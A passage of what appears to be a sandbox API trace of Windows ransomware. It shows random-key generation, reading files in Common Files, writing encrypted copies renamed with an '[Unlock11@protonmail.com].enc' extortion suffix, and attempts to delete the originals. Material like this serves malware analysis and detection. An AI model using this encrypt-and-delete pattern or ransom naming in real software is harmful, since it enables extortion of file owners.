dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0117.718] GetCurrentThreadId () returned 0x9b0 [0117.718] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366837c | out: pbBuffer=0x366837c) returned 1 [0117.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0117.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0117.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0117.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0117.718] GetCurrentThreadId () returned 0x9b0 [0117.718] GetLastError () returned 0x0 [0117.718] GetLastError () returned 0x0 [0117.719] GetLastError () returned 0x0 [0117.719] GetLastError () returned 0x0 [0117.719] GetCurrentThreadId () returned 0x9b0 [0117.719] GetLastError () returned 0x0 [0117.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea278 | out: hHeap=0x2ad0000) returned 1 [0117.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea408 [0117.719] GetLastError () returned 0x0 [0117.719] GetLastError () returned 0x0 [0117.719] GetLastError () returned 0x0 [0117.720] GetLastError () returned 0x0 [0117.720] GetCurrentThreadId () returned 0x9b0 [0117.720] GetLastError () returned 0x0 [0117.720] GetCurrentThreadId () returned 0x9b0 [0117.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea408 | out: hHeap=0x2ad0000) returned 1 [0117.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265298 [0117.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0117.720] GetLastError () returned 0x0 [0117.720] GetLastError () returned 0x0 [0117.720] GetLastError () returned 0x0 [0117.720] GetLastError () returned 0x0 [0117.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265288 [0117.721] GetLastError () returned 0x0 [0117.721] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\lamps-camel-using.exe" (normalized: "c:\\program files\\common files\\lamps-camel-using.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0117.721] GetFileType (hFile=0x39c) returned 0x1 [0117.721] GetLastError () returned 0x0 [0117.721] GetCurrentThreadId () returned 0x9b0 [0117.721] GetLastError () returned 0x0 [0117.721] GetFileType (hFile=0x39c) returned 0x1 [0117.721] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.722] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.722] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.722] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.722] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.722] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.722] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.722] GetLastError () returned 0x0 [0117.722] GetCurrentThreadId () returned 0x9b0 [0117.722] GetLastError () returned 0x0 [0117.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0117.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0117.722] GetLastError () returned 0x0 [0117.722] GetLastError () returned 0x0 [0117.722] GetLastError () returned 0x0 [0117.723] GetLastError () returned 0x0 [0117.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652c8 [0117.723] GetLastError () returned 0x0 [0117.723] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\lamps-camel-using.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\lamps-camel-using.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0117.723] GetFileType (hFile=0x3ac) returned 0x1 [0117.723] GetLastError () returned 0x0 [0117.724] GetCurrentThreadId () returned 0x9b0 [0117.724] GetLastError () returned 0x0 [0117.724] GetFileType (hFile=0x3ac) returned 0x1 [0117.724] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.724] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.724] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.724] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.724] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.724] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.724] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.724] GetLastError () returned 0x0 [0117.724] GetCurrentThreadId () returned 0x9b0 [0117.724] GetLastError () returned 0x0 [0117.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652c8 | out: hHeap=0x2ad0000) returned 1 [0117.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa28b8 | out: hHeap=0x2ad0000) returned 1 [0117.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0117.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0117.725] GetLastError () returned 0x0 [0117.725] GetLastError () returned 0x0 [0117.725] GetCurrentThreadId () returned 0x9b0 [0117.725] GetLastError () returned 0x0 [0117.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0117.725] GetLastError () returned 0x0 [0117.725] GetLastError () returned 0x0 [0117.726] GetCurrentThreadId () returned 0x9b0 [0117.726] GetLastError () returned 0x0 [0117.726] GetLastError () returned 0x0 [0117.727] GetLastError () returned 0x0 [0117.727] GetCurrentThreadId () returned 0x9b0 [0117.727] GetLastError () returned 0x0 [0117.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265298 | out: hHeap=0x2ad0000) returned 1 [0117.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0117.727] GetCurrentThreadId () returned 0x9b0 [0117.727] GetLastError () returned 0x0 [0117.728] GetLastError () returned 0x0 [0117.728] GetLastError () returned 0x0 [0117.728] GetLastError () returned 0x0 [0117.728] GetCurrentThreadId () returned 0x9b0 [0117.728] GetLastError () returned 0x0 [0117.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0117.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.728] GetLastError () returned 0x0 [0117.730] GetLastError () returned 0x0 [0117.730] GetCurrentThreadId () returned 0x9b0 [0117.730] GetLastError () returned 0x0 [0117.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.730] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.731] GetLastError () returned 0x0 [0117.731] GetLastError () returned 0x0 [0117.731] GetCurrentThreadId () returned 0x9b0 [0117.731] GetLastError () returned 0x0 [0117.731] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x2815) returned 0x36f8548 [0117.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.731] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265438 [0117.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265428 | out: hHeap=0x2ad0000) returned 1 [0117.731] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2818) returned 0x35b99e0 [0117.731] GetCurrentThreadId () returned 0x9b0 [0117.732] GetLastError () returned 0x0 [0117.732] GetLastError () returned 0x0 [0117.732] GetLastError () returned 0x0 [0117.732] GetLastError () returned 0x0 [0117.732] GetCurrentThreadId () returned 0x9b0 [0117.732] GetLastError () returned 0x0 [0117.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b99e0 | out: hHeap=0x2ad0000) returned 1 [0117.732] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0117.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0117.732] GetLastError () returned 0x0 [0117.733] GetLastError () returned 0x0 [0117.733] GetCurrentThreadId () returned 0x9b0 [0117.733] GetLastError () returned 0x0 [0117.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc200 | out: hHeap=0x2ad0000) returned 1 [0117.733] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0117.733] GetLastError () returned 0x0 [0117.733] GetLastError () returned 0x0 [0117.733] GetCurrentThreadId () returned 0x9b0 [0117.733] GetLastError () returned 0x0 [0117.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.734] GetLastError () returned 0x0 [0117.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0117.734] CloseHandle (hObject=0x3ac) returned 1 [0117.734] GetLastError () returned 0x0 [0117.734] GetCurrentThreadId () returned 0x9b0 [0117.734] GetLastError () returned 0x0 [0117.734] GetLastError () returned 0x0 [0117.734] CloseHandle (hObject=0x39c) returned 1 [0117.735] GetLastError () returned 0x0 [0117.735] GetCurrentThreadId () returned 0x9b0 [0117.735] GetLastError () returned 0x0 [0117.735] GetLastError () returned 0x0 [0117.735] GetLastError () returned 0x0 [0117.736] GetLastError () returned 0x0 [0117.736] GetLastError () returned 0x0 [0117.736] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\lamps-camel-using.exe" (normalized: "c:\\program files\\common files\\lamps-camel-using.exe")) returned 0 [0117.736] GetLastError () returned 0x5 [0117.736] GetCurrentThreadId () returned 0x9b0 [0117.736] GetLastError () returned 0x5 [0117.736] GetLastError () returned 0x5 [0117.736] GetLastError () returned 0x5 [0117.736] GetLastError () returned 0x5 [0117.737] LocalFree (hMem=0x1053cf0) returned 0x0 [0117.737] GetCurrentThreadId () returned 0x9b0 [0117.737] GetLastError () returned 0x5 [0117.737] GetLastError () returned 0x5 [0117.737] GetLastError () returned 0x5 [0117.737] GetLastError () returned 0x5 [0117.737] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\sample_organizing_scsi.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\sample_organizing_scsi.exe", lpFilePart=0x9bada4*="sample_organizing_scsi.exe") returned 0x38 [0117.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0117.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0117.738] GetCurrentThreadId () returned 0x9b0 [0117.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea0c0 [0117.738] GetLastError () returned 0x0 [0117.738] GetLastError () returned 0x0 [0117.738] GetLastError () returned 0x0 [0117.738] GetLastError () returned 0x0 [0117.738] GetCurrentThreadId () returned 0x9b0 [0117.738] GetLastError () returned 0x0 [0117.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea0c0 | out: hHeap=0x2ad0000) returned 1 [0117.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0117.739] GetLastError () returned 0x0 [0117.739] GetLastError () returned 0x0 [0117.739] GetLastError () returned 0x0 [0117.739] GetLastError () returned 0x0 [0117.739] GetCurrentThreadId () returned 0x9b0 [0117.739] GetLastError () returned 0x0 [0117.739] GetCurrentThreadId () returned 0x9b0 [0117.739] GetLastError () returned 0x0 [0117.739] GetLastError () returned 0x0 [0117.739] GetLastError () returned 0x0 [0117.739] GetLastError () returned 0x0 [0117.740] GetCurrentThreadId () returned 0x9b0 [0117.740] GetLastError () returned 0x0 [0117.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea278 | out: hHeap=0x2ad0000) returned 1 [0117.740] GetLastError () returned 0x0 [0117.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0117.740] GetLastError () returned 0x0 [0117.740] GetLastError () returned 0x0 [0117.740] GetLastError () returned 0x0 [0117.740] GetCurrentThreadId () returned 0x9b0 [0117.740] GetLastError () returned 0x0 [0117.740] GetLastError () returned 0x0 [0117.740] GetLastError () returned 0x0 [0117.741] GetLastError () returned 0x0 [0117.741] GetLastError () returned 0x0 [0117.741] GetCurrentThreadId () returned 0x9b0 [0117.741] GetLastError () returned 0x0 [0117.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0117.741] GetLastError () returned 0x0 [0117.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0117.741] GetLastError () returned 0x0 [0117.741] GetLastError () returned 0x0 [0117.741] GetLastError () returned 0x0 [0117.741] GetCurrentThreadId () returned 0x9b0 [0117.742] GetLastError () returned 0x0 [0117.742] GetLastError () returned 0x0 [0117.742] GetLastError () returned 0x0 [0117.742] GetLastError () returned 0x0 [0117.742] GetLastError () returned 0x0 [0117.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.742] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\sample_organizing_scsi.exe" (normalized: "c:\\program files\\common files\\sample_organizing_scsi.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc240c240, ftCreationTime.dwHighDateTime=0x1d4fa3d, ftLastAccessTime.dwLowDateTime=0x2221ab40, ftLastAccessTime.dwHighDateTime=0x1d4e2ef, ftLastWriteTime.dwLowDateTime=0x2221ab40, ftLastWriteTime.dwHighDateTime=0x1d4e2ef, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1 [0117.742] GetLastError () returned 0x0 [0117.742] GetCurrentThreadId () returned 0x9b0 [0117.742] GetLastError () returned 0x0 [0117.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887530 | out: hHeap=0x2ad0000) returned 1 [0117.743] GetCurrentThreadId () returned 0x9b0 [0117.743] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668354 | out: pbBuffer=0x3668354) returned 1 [0117.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0117.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0117.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0117.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea2a0 [0117.743] GetCurrentThreadId () returned 0x9b0 [0117.743] GetLastError () returned 0x0 [0117.743] GetLastError () returned 0x0 [0117.743] GetLastError () returned 0x0 [0117.744] GetLastError () returned 0x0 [0117.744] GetCurrentThreadId () returned 0x9b0 [0117.744] GetLastError () returned 0x0 [0117.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea2a0 | out: hHeap=0x2ad0000) returned 1 [0117.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea228 [0117.744] GetLastError () returned 0x0 [0117.744] GetLastError () returned 0x0 [0117.744] GetLastError () returned 0x0 [0117.744] GetLastError () returned 0x0 [0117.744] GetCurrentThreadId () returned 0x9b0 [0117.745] GetLastError () returned 0x0 [0117.745] GetCurrentThreadId () returned 0x9b0 [0117.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea228 | out: hHeap=0x2ad0000) returned 1 [0117.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265468 [0117.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0117.745] GetLastError () returned 0x0 [0117.745] GetLastError () returned 0x0 [0117.745] GetLastError () returned 0x0 [0117.745] GetLastError () returned 0x0 [0117.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0117.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265448 [0117.745] GetLastError () returned 0x0 [0117.746] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\sample_organizing_scsi.exe" (normalized: "c:\\program files\\common files\\sample_organizing_scsi.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0117.746] GetFileType (hFile=0x39c) returned 0x1 [0117.746] GetLastError () returned 0x0 [0117.746] GetCurrentThreadId () returned 0x9b0 [0117.746] GetLastError () returned 0x0 [0117.746] GetFileType (hFile=0x39c) returned 0x1 [0117.746] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.746] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.746] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.747] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.747] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.747] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.747] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.747] GetLastError () returned 0x0 [0117.747] GetCurrentThreadId () returned 0x9b0 [0117.747] GetLastError () returned 0x0 [0117.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265448 | out: hHeap=0x2ad0000) returned 1 [0117.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887728 | out: hHeap=0x2ad0000) returned 1 [0117.747] GetLastError () returned 0x0 [0117.747] GetLastError () returned 0x0 [0117.747] GetLastError () returned 0x0 [0117.747] GetLastError () returned 0x0 [0117.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0117.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265448 [0117.748] GetLastError () returned 0x0 [0117.748] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\sample_organizing_scsi.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\sample_organizing_scsi.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0117.748] GetFileType (hFile=0x3ac) returned 0x1 [0117.748] GetLastError () returned 0x0 [0117.748] GetCurrentThreadId () returned 0x9b0 [0117.748] GetLastError () returned 0x0 [0117.749] GetFileType (hFile=0x3ac) returned 0x1 [0117.749] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.749] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.749] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.749] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.749] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.749] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.749] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.749] GetCurrentThreadId () returned 0x9b0 [0117.749] GetCurrentThreadId () returned 0x9b0 [0117.749] GetCurrentThreadId () returned 0x9b0 [0117.751] GetCurrentThreadId () returned 0x9b0 [0117.751] GetCurrentThreadId () returned 0x9b0 [0117.751] GetCurrentThreadId () returned 0x9b0 [0117.753] GetCurrentThreadId () returned 0x9b0 [0117.754] GetCurrentThreadId () returned 0x9b0 [0117.754] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x2815) returned 0x36f8548 [0117.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265408 [0117.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265358 | out: hHeap=0x2ad0000) returned 1 [0117.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2818) returned 0x35b99e0 [0117.754] GetCurrentThreadId () returned 0x9b0 [0117.754] GetCurrentThreadId () returned 0x9b0 [0117.755] GetCurrentThreadId () returned 0x9b0 [0117.755] GetCurrentThreadId () returned 0x9b0 [0117.755] CloseHandle (hObject=0x3ac) returned 1 [0117.755] GetCurrentThreadId () returned 0x9b0 [0117.755] CloseHandle (hObject=0x39c) returned 1 [0117.755] GetCurrentThreadId () returned 0x9b0 [0117.756] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\sample_organizing_scsi.exe" (normalized: "c:\\program files\\common files\\sample_organizing_scsi.exe")) returned 0 [0117.756] GetCurrentThreadId () returned 0x9b0 [0117.756] GetCurrentThreadId () returned 0x9b0 [0117.756] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7390 [0117.757] GetCurrentThreadId () returned 0x9b0 [0117.757] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.757] GetCurrentThreadId () returned 0x9b0 [0117.757] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 1 [0117.757] GetCurrentThreadId () returned 0x9b0 [0117.757] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 0 [0117.757] GetCurrentThreadId () returned 0x9b0 [0117.757] FindClose (in: hFindFile=0x10f7390 | out: hFindFile=0x10f7390) returned 1 [0117.758] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20 [0117.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0117.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0117.758] GetCurrentThreadId () returned 0x9b0 [0117.759] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common 